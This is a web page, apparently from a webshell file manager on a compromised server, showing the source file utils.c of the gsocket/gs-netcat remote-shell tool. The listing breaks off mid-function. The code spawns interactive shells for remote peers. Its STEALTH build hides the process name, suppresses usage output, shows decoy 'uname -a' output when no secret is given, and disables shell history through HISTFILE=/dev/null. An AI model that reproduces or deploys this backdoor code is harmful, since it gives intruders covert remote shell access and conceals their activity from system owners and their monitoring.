B4BY.588
Home
Terminal
Upload
information
Create File
Create Folder
About
Tools
:
/
disk1
/
worms
/
padel
/
2026may20
/
gsocket
/
tools
/
Filename :
utils.c
back
Copy
// #define DEBUG_CTX_DECLARED (1) // All others define this as extern #include "common.h" #include "utils.h" #include "console.h" extern char **environ; /* * Add list of argv's from GSOCKET_ARGS to argv[] * result: argv[0] + GSOCKET_ARGS + argv[1..n] */ static void add_env_argv(int *argcptr, char **argvptr[]) { char *str_orig = GS_getenv("GSOCKET_ARGS"); if (str_orig == NULL) str_orig = GS_getenv("GS_ARGS"); char *str = NULL; char *next; char **newargv = NULL; int newargc; if (str_orig == NULL) return; str = strdup(str_orig); next = str; newargv = malloc(1 * sizeof *argvptr); memcpy(&newargv[0], argvptr[0], 1 * sizeof *argvptr); newargc = 1; while (next != NULL) { while (*str == ' ') str++; next = strchr(str, ' '); if (next != NULL) { *next = 0; next++; } // catch if last character is ' ' if (strlen(str) > 0) { /* *next == '\0'; str points to argument (0-terminated) */ newargc++; // DEBUGF("%d. arg = '%s'\n", newargc, str); newargv = realloc(newargv, newargc * sizeof newargv); newargv[newargc - 1] = str; } str = next; if (str == NULL) break; } // Copy original argv[1..n] newargv = realloc(newargv, (newargc + *argcptr) * sizeof newargv); memcpy(newargv + newargc, *argvptr + 1, (*argcptr - 1) * sizeof *argvptr); newargc += (*argcptr - 1); newargv[newargc] = NULL; *argcptr = newargc; *argvptr = newargv; // DEBUGF("Total argv[] == %d\n", newargc); // int i; // for (i = 0; i < newargc; i++) // DEBUGF("argv[%d] = %s\n", i, newargv[i]); } void init_defaults(int *argcptr, char **argvptr[]) { #ifdef DEBUG gopt.is_built_debug = 1; #endif gopt.log_fp = stderr; gopt.err_fp = stderr; signal(SIGPIPE, SIG_IGN); signal(SIGCHLD, SIG_IGN); // no defunct childs please gopt.prg_name = NULL; if (argvptr != NULL) { gopt.prg_name = *argvptr[0]; if ((gopt.prg_name != NULL) && (gopt.prg_name[0] == '/')) { char *ptr; ptr = strrchr(gopt.prg_name, '/'); if (ptr != NULL) gopt.prg_name = ptr + 1; } if (gopt.prg_name != NULL) gopt.prg_name = strdup(gopt.prg_name); } /* MacOS process limit is 256 which makes Socks-Proxie yield...*/ struct rlimit rlim; memset(&rlim, 0, sizeof rlim); int ret; ret = getrlimit(RLIMIT_NOFILE, &rlim); if (ret == 0) { rlim.rlim_cur = MIN(rlim.rlim_max, FD_SETSIZE); ret = setrlimit(RLIMIT_NOFILE, &rlim); getrlimit(RLIMIT_NOFILE, &rlim); // DEBUGF_C("Max File Des: %llu (max = %llu)\n", rlim.rlim_cur, rlim.rlim_max); } // If started directly from a +s shell (ps. tcsh's startup script fail hard // if euid != uid) uid_t e = geteuid(); if (e != getuid()) ret = setreuid(e, e); e = getegid(); if (e != getgid()) ret = setregid(e, e); add_env_argv(argcptr, argvptr); gopt.app_keepalive_sec = GS_APP_KEEPALIVE; } GS * gs_create(void) { GS *gs = GS_new(&gopt.gs_ctx, &gopt.gs_addr); XASSERT(gs != NULL, "%s\n", GS_CTX_strerror(&gopt.gs_ctx)); if (gopt.token_str != NULL) GS_set_token(gs, gopt.token_str, strlen(gopt.token_str)); return gs; } static void cb_sigterm(int sig) { exit(EX_SIGTERM); // will call cb_atexit() } void get_winsize(void) { int ret; memcpy(&gopt.winsize_prev, &gopt.winsize, sizeof gopt.winsize_prev); ret = ioctl(STDOUT_FILENO, TIOCGWINSZ, &gopt.winsize); if ((ret == 0) && (gopt.winsize.ws_col != 0)) { /* SUCCESS */ DEBUGF_M("Columns: %d, Rows: %d\n", gopt.winsize.ws_col, gopt.winsize.ws_row); } else { gopt.winsize.ws_col = 80; gopt.winsize.ws_row = 24; } } // Callback for gs-library to pass log messages to us. static void cb_gs_log(struct _gs_log_info *l) { if (l == NULL) return; // DEBUGF_Y("my level=%d, msg level=%d\n", gopt.verbosity, l->level); #ifndef DEBUG // Return if this is _NOT_ a DEBUG-build but we get a TYPE_DEBUG // (should not happen). if (l->type == GS_LOG_TYPE_DEBUG) return; #endif FILE *fp = gopt.log_fp; if (l->type == GS_LOG_TYPE_ERROR) { fp = gopt.err_fp; } if (fp == NULL) return; if (l->level > gopt.verbosity) return; // Not interested. fprintf(fp, "%s", l->msg); fflush(fp); } void init_vars(void) { GS_library_init(gopt.err_fp, /* Debug Output */ gopt.err_fp, cb_gs_log); GS_LIST_init(&gopt.ids_peers, 0); GS_CTX_init(&gopt.gs_ctx, &gopt.rfd, &gopt.wfd, &gopt.r, &gopt.w, &gopt.tv_now); if (gopt.is_use_tor == 1) GS_CTX_setsockopt(&gopt.gs_ctx, GS_OPT_USE_SOCKS, NULL, 0); /* If Server is not available yet then wait for Server. */ if (gopt.is_sock_wait != 0) GS_CTX_setsockopt(&gopt.gs_ctx, GS_OPT_SOCKWAIT, NULL, 0); /* We can turn client _OR_ server */ if (gopt.is_client_or_server != 0) GS_CTX_setsockopt(&gopt.gs_ctx, GS_OPT_CLIENT_OR_SERVER, NULL, 0); /* Disable encryption (-C) */ if (gopt.is_no_encryption == 1) GS_CTX_setsockopt(&gopt.gs_ctx, GS_OPT_NO_ENCRYPTION, NULL, 0); /* This example uses blocking sockets. Set blocking. */ if (gopt.is_blocking == 1) GS_CTX_setsockopt(&gopt.gs_ctx, GS_OPT_BLOCK, NULL, 0); if (gopt.is_multi_peer == 0) GS_CTX_setsockopt(&gopt.gs_ctx, GS_OPT_SINGLESHOT, NULL, 0); if (gopt.is_interactive != 0) GS_CTX_setsockopt(&gopt.gs_ctx, GS_OPT_LOW_LATENCY, NULL, 0); if (gopt.gs_server_check_sec > 0) GS_CTX_setsockopt(&gopt.gs_ctx, GS_OPT_SERVER_CHECK, NULL, 0); // Prevent startup messages if gs-netcat is started as sub-system from // gs-sftp or gs-mount gopt.is_greetings = 1; if (GS_getenv("GSOCKET_NO_GREETINGS") != NULL) gopt.is_greetings = 0; char *gs_args = GS_getenv("GSOCKET_ARGS"); if (gs_args == NULL) gs_args = GS_getenv("GS_ARGS"); int is_sec_by_prompt = 0; if ((gopt.sec_file == NULL) && (gopt.sec_str == NULL)) is_sec_by_prompt = 1; #ifdef STEALTH // No "=Secret :" if GS_ARGS is set as we assume secret is passed // by GS_ARGS (and thus known to user) if (gs_args != NULL) gopt.is_greetings = 0; // do not allow execution without supplied secret. if (gs_args == NULL) { if (is_sec_by_prompt) { system("uname -a"); exit(0); } } #endif if (gs_args != NULL) GS_LOG_V("=Extra arguments: '%s'\n", gs_args); if ((gopt.is_quiet) && (!is_sec_by_prompt)) gopt.is_greetings = 0; gopt.sec_str = GS_user_secret(&gopt.gs_ctx, gopt.sec_file, gopt.sec_str); if (gopt.sec_str == NULL) ERREXIT("%s\n", GS_CTX_strerror(&gopt.gs_ctx)); if (gopt.is_greetings) GS_LOG("=Secret : %s\n", gopt.sec_str); /* Convert a secret string to an address */ GS_ADDR_sec2addr(&gopt.gs_addr, gopt.sec_str); GS_LOG_V("=GS Address : %s\n", GS_addr2hex(NULL, gopt.gs_addr.addr)); gopt.is_stdin_a_tty = isatty(STDIN_FILENO); // Interactive session but not a TTY: Assume user is piping commands into the shell. if ((gopt.is_interactive && !(gopt.flags & GSC_FL_IS_SERVER) && !gopt.is_stdin_a_tty)) gopt.is_stdin_ignore_eof = 1; signal(SIGTERM, cb_sigterm); } void usage(const char *params) { fprintf(stderr, "Version %s%s, %s %s [%s]\n", PACKAGE_VERSION, gopt.is_built_debug?"#debug":"", __DATE__, __TIME__, OPENSSL_VERSION_TEXT); #ifndef STEALTH while (*params) { switch (params[0]) { case 'L': fprintf(stderr, " -L <file> Logfile\n"); break; case 'q': fprintf(stderr, " -q Quiet. No log output\n"); break; case 'v': fprintf(stderr, " -v Verbose. -vv more verbose. -vvv insanely verbose\n"); break; case 'r': fprintf(stderr, " -r Receive-only. Terminate when no more data.\n"); break; case 'I': fprintf(stderr, " -I Ignore EOF on stdin.\n"); break; case 's': fprintf(stderr, " -s <secret> Secret (e.g. password).\n"); break; case 'k': fprintf(stderr, " -k <file> Read Secret from file.\n"); break; case 'l': fprintf(stderr, " -l Listening server [default: client]\n"); break; case 'g': fprintf(stderr, " -g Generate a Secret (random)\n"); break; case 'a': fprintf(stderr, " -a <token> Set listen password\n"); break; case 'w': fprintf(stderr, " -w Wait for server to become available [client only]\n"); break; case 'A': fprintf(stderr, " -A Be server if no server is listening\n"); break; case 'C': fprintf(stderr, " -C Disable encryption\n"); break; case 'T': fprintf(stderr, " -T Use TOR or any Socks proxy (See gs-netcat(1))\n"); break; } params++; } #endif // !STEALTH } static void zap_arg(char *str) { int len; len = strlen(str); memset(str, '*', len); } char * getcwdx(void) { #if defined(__sun) && defined(HAVE_OPEN64) // This is solaris 10 return getcwd(NULL, GS_PATH_MAX + 1); // solaris10 segfaults if size is 0... #else return getcwd(NULL, 0); #endif } void do_getopt(int argc, char *argv[]) { int c; opterr = 0; while ((c = getopt(argc, argv, UTILS_GETOPT_STR)) != -1) { switch (c) { case 'v': gopt.verbosity += 1; break; case 'L': gopt.is_logfile = 1; gopt.log_fp = fopen(optarg, "a"); if (gopt.log_fp == NULL) ERREXIT("fopen(%s): %s\n", optarg, strerror(errno)); gopt.err_fp = gopt.log_fp; break; case 'T': gopt.is_use_tor = 1; break; case 'q': gopt.is_quiet = 1; break; case 'r': gopt.is_receive_only = 1; break; case 'I': gopt.is_stdin_ignore_eof = 1; break; case 'i': gopt.is_interactive = 1; break; case 'C': gopt.is_no_encryption = 1; break; case 'A': gopt.is_client_or_server = 1; break; case 'w': gopt.is_sock_wait = 1; break; case 'a': /* This only becomes secure when the initial GS-network connection is done by TLS * (at least for the listening server to submit the token securely to the server so that * the server rejects any listening attempt that uses a bad token) */ GS_LOG("*** WARNING *** -a not fully supported yet. Trying our best...\n"); gopt.token_str = optarg; break; case 'l': gopt.flags |= GSC_FL_IS_SERVER; break; case 's': gopt.sec_str = strdup(optarg); zap_arg(optarg); break; case 'k': gopt.sec_file = strdup(optarg); zap_arg(optarg); break; case 'g': /* Generate a secret */ printf("%s\n", GS_gen_secret()); fflush(stdout); exit(0); #ifndef STEALTH case '3': if (strcmp(optarg, "1337") == 0) GS_LOG("!!Greets to 0xD1G, xaitax and the rest of https://t.me/thcorg!!\n"); #endif } } } static struct termios tios_saved; static int is_stty_raw; static int is_stty_nopty; /* * Client only: Save TTY state and set raw mode. */ void stty_set_raw(void) { int ret; if (is_stty_raw != 0) return; if (!isatty(STDIN_FILENO)) return; struct termios tios; ret = tcgetattr(STDIN_FILENO, &tios); if (ret != 0) return; memcpy(&tios_saved, &tios, sizeof tios_saved); // -----BEGIN ORIG----- // tios.c_iflag &= ~(BRKINT | ICRNL | INPCK | ISTRIP | IXON); // tios.c_oflag &= ~(OPOST); // tios.c_lflag &= ~(ECHO | ICANON | IEXTEN | ISIG); // tios.c_cflag |= (CS8); // -----BEGIN NEW----- // tios.c_iflag &= ~(IGNBRK | BRKINT | PARMRK | ISTRIP | INLCR | IGNCR | ICRNL | IXON); // tios.c_oflag &= ~(OPOST); // tios.c_lflag &= ~(ECHO | ECHONL | ICANON | ISIG | IEXTEN); // tios.c_cflag &= ~(CSIZE | PARENB); // stty -a shows rows/columns correctly // tios.c_cflag |= (CS8); // -----BEGIN SSH----- tios.c_iflag |= IGNPAR; tios.c_iflag &= ~(ISTRIP | INLCR | IGNCR | ICRNL | IXON | IXANY | IXOFF); #ifdef IUCLC tios.c_iflag &= ~IUCLC; #endif tios.c_lflag &= ~(ISIG | ICANON | ECHO | ECHOE | ECHOK | ECHONL); #ifdef IEXTEN tios.c_lflag &= ~IEXTEN; #endif tios.c_oflag &= ~OPOST; tios.c_cc[VMIN] = 1; tios.c_cc[VTIME] = 0; tcsetattr(STDIN_FILENO, TCSADRAIN, &tios); // tcsetattr(STDIN_FILENO, TCSAFLUSH, &tios); /* Set NON blocking */ // fcntl(STDIN_FILENO, F_SETFL, O_NONBLOCK | fcntl(STDIN_FILENO, F_GETFL, 0)); is_stty_raw = 1; } // Switch from RAW to NO-PTY // Called when server could not allocated PTY and goes into // dump terminal mode. void stty_switch_nopty(void) { if (is_stty_nopty != 0) return; if (is_stty_raw == 0) DEBUGF_R("ERROR: switch_nopty() while stty is not raw\n"); if (!isatty(STDIN_FILENO)) return; // Use print as this must always go out to stdin (never log file) as the \r\n // make the terminal look less messed up when bash reports bad ioctl. printf("\r=No PTY on remote. Using dump terminal instead.\r\n"); int ret; struct termios tios; ret = tcgetattr(STDIN_FILENO, &tios); if (ret != 0) return; tios.c_oflag |= OPOST; tcsetattr(STDIN_FILENO, TCSADRAIN, &tios); is_stty_nopty = 1; } /* * Restore TTY state */ void stty_reset(void) { if (is_stty_raw == 0) return; is_stty_raw = 0; is_stty_nopty = 0; DEBUGF_G("resetting TTY\n"); tcsetattr(STDIN_FILENO, TCSADRAIN, &tios_saved); } static const char esc_seq[] = "\r~.\r"; static int esc_pos; /* * In nteractive mode/Client mode check if User typed '\n~.\n' escape * sequence. */ void stty_check_esc(GS *gs, char c) { // DEBUGF_R("checking %d on esc_pos %d == %d\n", c, esc_pos, esc_seq[esc_pos]); if (c == esc_seq[esc_pos]) { esc_pos++; if (esc_pos < sizeof esc_seq - 1) return; DEBUGF_M("ESC detected. EXITING...\n"); /* Hard exit */ stty_reset(); exit(0); return; } esc_pos = 0; if (c == esc_seq[0]) esc_pos = 1; } // Try our best to send a SIGINT to the foreground process of the // specified pid (bash). // This is used when no PTY is available and the client sends a CTRL-C. // Hack: Just send it to the last child that the pid spawned. This // may be a background process (sleep 31337 &). Ideally we should check // if the last process is a foreground process. void ctrl_c_child(pid_t pid) { char buf[1024]; char *ptr; char *end; FILE *fp; DEBUGF_Y("Ctrl-c child(%d)'s children\n", pid); snprintf(buf, sizeof buf, "/proc/%d/task/%d/children", pid, pid); fp = fopen(buf, "r"); if (fp == NULL) { DEBUGF_M("fopen(%s) failed\n", buf); return; } ptr = fgets(buf, sizeof buf, fp); fclose(fp); if (ptr != NULL) { end = ptr + strlen(ptr); while (ptr < end) { end--; if (*end != ' ') break; *end = 0; } } if ((ptr == NULL) || (ptr >= end)) { // SIGINT to bash to clear command line kill(pid, SIGINT); return; } // Get last PID in file and hope that's the foreground process ptr = strrchr(buf, ' '); if (ptr == NULL) ptr = buf; // Only 1 PID in there int child = atoi(ptr); if (child <= 0) { DEBUGF_R("children entry not valid: %s\n", ptr); return; } // Send to process entire process group pid_t pgrp = getpgid(child); kill(-pgrp, SIGINT); } /* * Return SHELL_PATH, shell name (/bin/bash , -bash) and prgname (procps) */ static const char * mk_shellname(const char *shell, char *shell_name, ssize_t len, const char **prgname) { char *dfl_shell = NULL; char *ptr; struct stat sb; int is_great_shell = 0; if (stat("/bin/bash", &sb) == 0) { dfl_shell = "/bin/bash"; is_great_shell = 1; } else if (stat("/usr/bin/bash", &sb) == 0) { dfl_shell = "/usr/bin/bash"; is_great_shell = 1; } else if (stat("/usr/local/bin/bash", &sb) == 0) { dfl_shell = "/usr/local/bin/bash"; is_great_shell = 1; } else if (stat("/bin/csh", &sb) == 0) { dfl_shell = "/bin/csh"; is_great_shell = 1; } else if (stat("/bin/sh", &sb) == 0) { dfl_shell = "/bin/sh"; } else if (stat("./bash", &sb) == 0) { dfl_shell = "./bash"; is_great_shell = 1; } else if (stat("./sh", &sb) == 0) { dfl_shell = "./sh"; } else if (stat("/cygdrive/c/WINDOWS/system32/cmd.exe", &sb) == 0) dfl_shell = "/cygdrive/c/WINDOWS/system32/cmd.exe"; if ((shell != NULL) && (shell[0] == '\0')) shell = NULL; // Check if absolute 'shell' exists or name exists in /bin, /usr/bin while (shell != NULL) { ptr = strrchr(shell, '/'); if (ptr != NULL) { // /bin/sh, /bin/bash, ./sh, ./bash if (stat(shell, &sb) != 0) shell = NULL; // SHELL= was set to absolute path but file does not exist break; } // HERE: SHELL= was not an absolute path. char buf[32]; snprintf(buf, sizeof buf, "/bin/%s", shell); if (stat(buf, &sb) == 0) { shell = strdup(buf); break; } snprintf(buf, sizeof buf, "/usr/bin/%s", shell); if (stat(buf, &sb) == 0) { shell = strdup(buf); break; } snprintf(buf, sizeof buf, "/usr/local/bin/%s", shell); if (stat(buf, &sb) == 0) { shell = strdup(buf); break; } shell = NULL; } // Check if 'shell' is just 'sh' and a better shell exists. if ((shell != NULL) && (is_great_shell == 1)) { ptr = strrchr(shell, '/'); if ((ptr != NULL) && (strcmp(ptr, "/sh") == 0)) shell = NULL; else if (strstr(shell, "nologin") != NULL) shell = NULL; else if (strstr(shell, "jailshell") != NULL) shell = NULL; } if (shell == NULL) { if (dfl_shell == NULL) return NULL; shell = dfl_shell; } ptr = strrchr(shell, '/'); if (ptr == NULL) return NULL; ptr += 1; *prgname = NULL; #ifdef STEALTH struct stat st; // Set PRGNAME unless it's a link (BusyBox etc) if (lstat(shell, &st) == 0) { if (!S_ISLNK(st.st_mode)) *prgname = gopt.prg_name; // HIDE as prg_name } #endif snprintf(shell_name, len, "-%s", ptr); if (*prgname == NULL) *prgname = shell_name; return shell; } /* * Create an envp list from existing env. This is a hack for cmd-execution. * 'blacklist' contains env-vars which should not be part of the new * envp for the shell (such as STY, a screen variable, which we must remove). * 'addlist' contains env-vars that should be added _if_ they do not yet * exist. * * If blacklist and addlist contain the same variable then that variable * will be replaced with the one from addlist. */ // char ** // mk_env(char **blacklist, char **addlist) // { // char **env; // int total = 0; // int add_total = 0; // int i; // char *end; // int n; // for (i = 0; environ[i] != NULL; i++) // total++; // for (i = 0; addlist[i] != NULL; i++) // add_total++; // // DEBUGF("Number of environment variables: %d (calloc(%d, %zu)\n", total, total + 1, sizeof *env); // env = calloc(total + add_total + 1, sizeof *env); // /* Copy to env unless variable is in blacklist */ // int ii = 0; // for (i = 0; i < total; i++) // { // char *s = environ[i]; // /* Check if we want this env variable and continue if not */ // end = strchr(s, '='); // if (end == NULL) // continue; // Illegal enviornment variable // /* Check if the env is in the BLACK list */ // char **b = blacklist; // for (; *b != NULL; b++) // { // if (end - s > strlen(*b)) // continue; // if (memcmp(s, *b, end - s) == 0) // break; // In the blacklist // } // if (*b != NULL) // continue; // Skip if in blacklist // env[ii] = strdup(s); // ii++; // } // /* Append to env unless variable is already in env */ // int env_len = ii; // int should_add; // for (n = 0; addlist[n] != NULL; n++) // { // char *al_end = strchr(addlist[n], '='); // if (al_end == NULL) // continue; // should_add = 1; // for (i = 0; i < env_len; i++) // { // char *s = env[i]; // end = strchr(s, '='); // if (end == NULL) // continue; // if (al_end - addlist[n] != end - s) // continue; // if (memcmp(s, addlist[n], end - s) == 0) // { // should_add = 0; // break; // Already in this list // } // } // if (should_add != 0) // { // // DEBUGF_C("Adding %s\n", addlist[n]); // env[ii] = strdup(addlist[n]); // ii++; // } // } // return env; // } static void setup_cmd_child(int except_fd) { /* Close all (but 1 end of socketpair) fd's */ int i; for (i = 3; i < MIN(getdtablesize(), FD_SETSIZE); i++) { if (i == except_fd) continue; close(i); } signal(SIGCHLD, SIG_DFL); signal(SIGPIPE, SIG_DFL); } #ifndef HAVE_OPENPTY static int openpty(int *amaster, int *aslave, void *a, void *b, void *c) { int master; int slave; master = posix_openpt(O_RDWR | O_NOCTTY); if (master == -1) return -1; if (grantpt(master) != 0) return -1; if (unlockpt(master) != 0) return -1; slave = open(ptsname(master), O_RDWR | O_NOCTTY); if (slave < 0) return -1; # if defined __sun || defined __hpux /* Solaris, HP-UX */ if (ioctl (slave, I_PUSH, "ptem") < 0 || ioctl (slave, I_PUSH, "ldterm") < 0 # if defined __sun || ioctl (slave, I_PUSH, "ttcompat") < 0 # endif ) { close (slave); return -1; } # endif *amaster = master; *aslave = slave; return 0; } #endif /* HAVE_OPENPTY */ #ifndef HAVE_FORKPTY static int forkpty(int *fd, void *a, void *b, void *c) { pid_t pid; int slave; int master; if (openpty(&master, &slave, NULL, NULL, NULL) == -1) return -1; pid = fork(); switch (pid) { case -1: return -2; case 0: /* CHILD */ #ifdef TIOCNOTTY ioctl(slave, TIOCNOTTY, NULL); #endif setsid(); close(master); dup2(slave, 0); dup2(slave, 1); dup2(slave, 2); *fd = slave; return 0; // CHILD default: /* PARENT */ close(slave); *fd = master; return pid; } return -3; // NOT REACHED } #endif /* HAVE_FORKPTY */ static pid_t forkfd(int *fd) { int fds[2]; int ret; pid_t pid; ret = socketpair(AF_UNIX, SOCK_STREAM, 0, fds); if (ret != 0) return -1; pid = fork(); if (pid < 0) return pid; if (pid == 0) { // Put this child into its group. // Otherwise keypress 'Ctrl-C' on the server would not // send SIGINT to the server but to the forked child() (bash). setsid(); dup2(fds[0], STDOUT_FILENO); dup2(fds[0], STDERR_FILENO); dup2(fds[0], STDIN_FILENO); *fd = fds[0]; return pid; } /* HERE: Parent process */ close(fds[0]); *fd = fds[1]; return pid; } // Child's process stderr goes to client via TCP. On (some) Cygwin/Windows // we need to sleep() for the stderr buffer to flush (wtf). #define SLOWEXIT(a...) do { \ fprintf(stderr, "ERROR: "); \ fprintf(stderr, a); \ sleep(1); \ exit(255); \ } while (0) static int pty_cmd(const char *cmd, pid_t *pidptr, int *err) { pid_t pid; int fd = -1; int is_nopty = 0; char **envp; size_t envplen = 0; envp = calloc(64, sizeof *envp); *err = 0; pid = forkpty(&fd, NULL, NULL, NULL); if (pid < 0) { *err = GS_FD_CMD_ERR_NOPTY; is_nopty = 1; // In restricted environments /dev/ptmx is not available. // Drop into a dump shell (without PTY control) and // emulate Ctrl-C etc. There will be dragons... pid = forkfd(&fd); } XASSERT(pid >= 0, "Error: forkpty()=%d: %s\n", pid, strerror(errno)); if (pid == 0) { /* Our own forkpty() (solaris 10) returns the actual slave TTY. * We can not open /dev/st on solaris10 and use the fd that * our own forkpty() returns. Any other OS needs to open * /dev/tty to get correct fd for child's tty. */ #ifdef HAVE_FORKPTY if (*err != GS_FD_CMD_ERR_NOPTY) { int fd_x; fd_x = open("/dev/tty", O_NOCTTY | O_RDWR); if (fd_x >= 0) fd = fd_x; } #endif /* HERE: Child */ setup_cmd_child(fd); signal(SIGINT, SIG_DFL); signal(SIGCHLD, SIG_DFL); signal(SIGTERM, SIG_DFL); /* Find out default ENV (just in case they do not exist in current * env-variable such as when started during bootup. * Note: Do not use shell from /etc/passwd as this might be /bin/nologin. * Instead, use the same shell that was used when gs-netcat server got * started. */ const char *shell = NULL; //"/bin/sh"; // default char shell_name[64]; // e.g. -bash const char *prg_name; shell_name[0] = '\0'; if (cmd == NULL) shell = GS_getenv("SHELL"); shell = mk_shellname(shell, shell_name, sizeof shell_name, &prg_name); if (shell == NULL) SLOWEXIT("No shell found in /bin or /usr/bin or ./. Try setting SHELL=\n"); char buf[1024]; snprintf(buf, sizeof buf, "SHELL=%s", shell); envp[envplen++] = strdup(buf); char *user = "root"; char *home_env = "HOME=/root"; // char *name_env; // char *logname_env; struct passwd *pwd; pwd = getpwuid(getuid()); if (pwd != NULL) { user = strdup(pwd->pw_name); snprintf(buf, sizeof buf, "HOME=%s", pwd->pw_dir); home_env = strdup(buf); } envp[envplen++] = home_env; // Sometimes the user has no home directory or there is no .bashrc. // Do the best we can to set a nice prompt and give a hint to the user. char *str = "\\[\\033[36m\\]\\u\\[\\033[m\\]@\\[\\033[32m\\]\\h:\\[\\033[33;1m\\]\\w\\[\\033[m\\]\\$ "; snprintf(buf, sizeof buf, "PS1=%s", str); printf("=Hint : PS1='%s'\n", str); if (GS_getenv("PS1") == NULL) { // Note: This only works for /bin/sh because bash resets this value. envp[envplen++] = strdup(buf); envp[envplen++] = "PS2=> "; } snprintf(buf, sizeof buf, "USER=%s", user); envp[envplen++] = strdup(buf); snprintf(buf, sizeof buf, "LOGNAME=%s", user); envp[envplen++] = strdup(buf); if (shell[0] == '.') { // Windows without cygwin install executes ./bash or ./sh snprintf(buf, sizeof buf, "PATH=%s:%s", getcwdx()?:"/", GS_getenv("PATH")?:"/usr/bin:/bin:/usr/sbin:/sbin"); } else { snprintf(buf, sizeof buf, "PATH=%s", GS_getenv("PATH")?:"/usr/bin:/bin:/usr/sbin:/sbin"); } envp[envplen++] = strdup(buf); snprintf(buf, sizeof buf, "MAIL=/var/mail/%.50s", user); envp[envplen++] = strdup(buf); /* Start with a clean environemnt (like OpenSSH does). * STY = Confuses screen if gs-netcat is started from within screen (OSX) * GSOCKET_ARGS = Otherwise any further gs-netcat command would * execute with same (hidden) commands as the current shell. * HISTFILE= does not work on oh-my-zsh (it sets it again) * FIXME: See OpenSSH/session.c: * 1. Read /etc/default/login * 2. Retrieve TZ, TERM, DISPLAY, LANG, LC from client. * 3. Add ~/.ssh/environment */ envp[envplen++] = "TERM=xterm-256color"; envp[envplen++] = "HISTFILE=/dev/null"; envp[envplen++] = "LANG=en_US.UTF-8"; if (cmd != NULL) { execle("/bin/sh", cmd, "-c", cmd, NULL, envp); SLOWEXIT("exec(%s) failed: %s\n", cmd, strerror(errno)); } if (is_nopty) { const char *args = "-il"; // bash, fish, zsh if (strcmp(shell_name, "-sh") == 0) args = "-i"; // solaris 10 /bin/sh does not like -l if (strcmp(shell_name, "-csh") == 0) execle(shell, prg_name, NULL, envp); // csh (fbsd) without any arguments execle(shell, prg_name, args, NULL, envp); // No PTY. Need '-il'. } // For PTY Terminals the -il is not needed execle(shell, prg_name, NULL, envp); SLOWEXIT("execlp(%s) failed: %s\n", shell, strerror(errno)); } /* HERE: Parent */ if (pidptr) *pidptr = pid; return fd; } /* * Spawn a cmd and return fd. */ int fd_cmd(const char *cmd, pid_t *pidptr, int *err) { pid_t pid; int fds[2]; int ret; *err = 0; if (gopt.is_interactive) { return pty_cmd(cmd, pidptr, err); } ret = socketpair(AF_UNIX, SOCK_STREAM, 0, fds); if (ret != 0) ERREXIT("pipe(): %s\n", strerror(errno)); /* FATAL */ pid = fork(); if (pid < 0) ERREXIT("fork(): %s\n", strerror(errno)); /* FATAL */ if (pid == 0) { /* HERE: Child process */ setup_cmd_child(fds[0]); dup2(fds[0], STDOUT_FILENO); dup2(fds[0], STDERR_FILENO); dup2(fds[0], STDIN_FILENO); #ifdef __CYGWIN__ // Cygwin throws "Connection reset by peer" on socketpair when system // is under heavy load if we execl() immediately. // It appears that perhaps the child executes to quickly. Any pending data // on stdout is then lost and the parent gets a read-error on the // socketpair-fd (Connection reset by peer). The only work around // is to add a 'sleep 0.2' to any executed command. Happens very // rarely. It can easily be reproduced by running test 7.1 with these // two lines: // write(fds[0], "Hello World\n", 12); // exit(0); #endif execl("/bin/sh", cmd, "-c", cmd, NULL); ERREXIT("exec(%s) failed: %s\n", cmd, strerror(errno)); } /* HERE: Parent process */ if (pidptr) *pidptr = pid; close(fds[0]); return fds[1]; } /* * Complete the connect() call * Return -1 on waiting. * Return -2 on fatal. */ int fd_net_connect(GS_SELECT_CTX *ctx, int fd, uint32_t ip, uint16_t port) { struct sockaddr_in addr; int ret; memset(&addr, 0, sizeof addr); addr.sin_family = AF_INET; addr.sin_addr.s_addr = ip; addr.sin_port = port; ret = connect(fd, (struct sockaddr *)&addr, sizeof addr); DEBUGF("connect(%s:%d, fd = %d): %d (errno = %d, %s)\n", int_ntoa(ip), ntohs(port), fd, ret, errno, strerror(errno)); if (ret != 0) { if ((errno == EINPROGRESS) || (errno == EAGAIN) || (errno == EINTR)) { XFD_SET(fd, ctx->wfd); return -1; } if (errno != EISCONN) { DEBUGF_R("ERROR %s\n", strerror(errno)); // gs_set_error(gsocket->ctx, "connect(%s:%d)", int_ntoa(ip), ntohs(port)); return -2; } } /* HERRE: ret == 0 or errno == EISCONN (Socket is already connected) */ DEBUGF_G("connect(fd = %d) SUCCESS (errno = %d)\n", fd, errno); return 0; } int fd_net_accept(int listen_fd) { int sox; int ret; sox = accept(listen_fd, NULL, NULL); DEBUGF_B("accept(%d) == %d\n", listen_fd, sox); if (sox < 0) return -2; ret = fcntl(sox, F_SETFL, O_NONBLOCK | fcntl(sox, F_GETFL, 0)); if (ret != 0) return -2; return sox; } /* * Create a listening fd on port. */ int fd_net_listen(int fd, uint16_t *port, int type) { struct sockaddr_in addr; int ret; int is_random_port = 0; if ((port == NULL) || (*port == 0)) is_random_port = 1; setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &(int){1}, sizeof (int)); memset(&addr, 0, sizeof addr); addr.sin_family = AF_INET; if (is_random_port == 0) { addr.sin_port = *port; addr.sin_addr.s_addr = htonl(INADDR_ANY); } else { addr.sin_addr.s_addr = inet_addr("127.0.0.1"); } ret = bind(fd, (struct sockaddr *)&addr, sizeof addr); if (ret < 0) return ret; if (is_random_port) { struct sockaddr_in paddr; socklen_t plen = sizeof addr; ret = getsockname(fd, (struct sockaddr *)&paddr, &plen); *port = paddr.sin_port; } if (type == SOCK_STREAM) { // HERE: TCP socket (needs listen() ret = listen(fd, 1); if (ret != 0) return -1; } return 0; } /* * Return fd on success. * Return < 0 on fata error. */ int fd_new_socket(int type) { int fd; int ret; fd = socket(PF_INET, type, 0); if (fd < 0) return -2; DEBUGF_W("socket() == %d\n", fd); ret = fcntl(fd, F_SETFL, O_NONBLOCK | fcntl(fd, F_GETFL, 0)); if (ret != 0) return -2; return fd; } void fd_kernel_flush(int fd) { #ifdef TIOCOUTQ int value = 0; int i; int ret; for (i = 0; i < 10; i++) { if (ioctl(fd, TIOCOUTQ, &value) != 0) break; if (value == 0) break; socklen_t len = sizeof (value); ret = getsockopt(fd, SOL_SOCKET, SO_ERROR, &value, &len); if ((ret != 0) || (value == EPIPE)) break; usleep(10 * 1000); } #endif } void cmd_ping(struct _peer *p) { DEBUGF("Sending PING (waiting-for-reply==%d)\n", p->is_want_ping); if (p->is_want_ping != 0) return; p->is_want_ping = 1; GS_SELECT_FD_SET_W(p->gs); } void cmd_pwd(struct _peer *p) { if (gopt.is_want_pwd != 0) return; gopt.is_want_pwd = 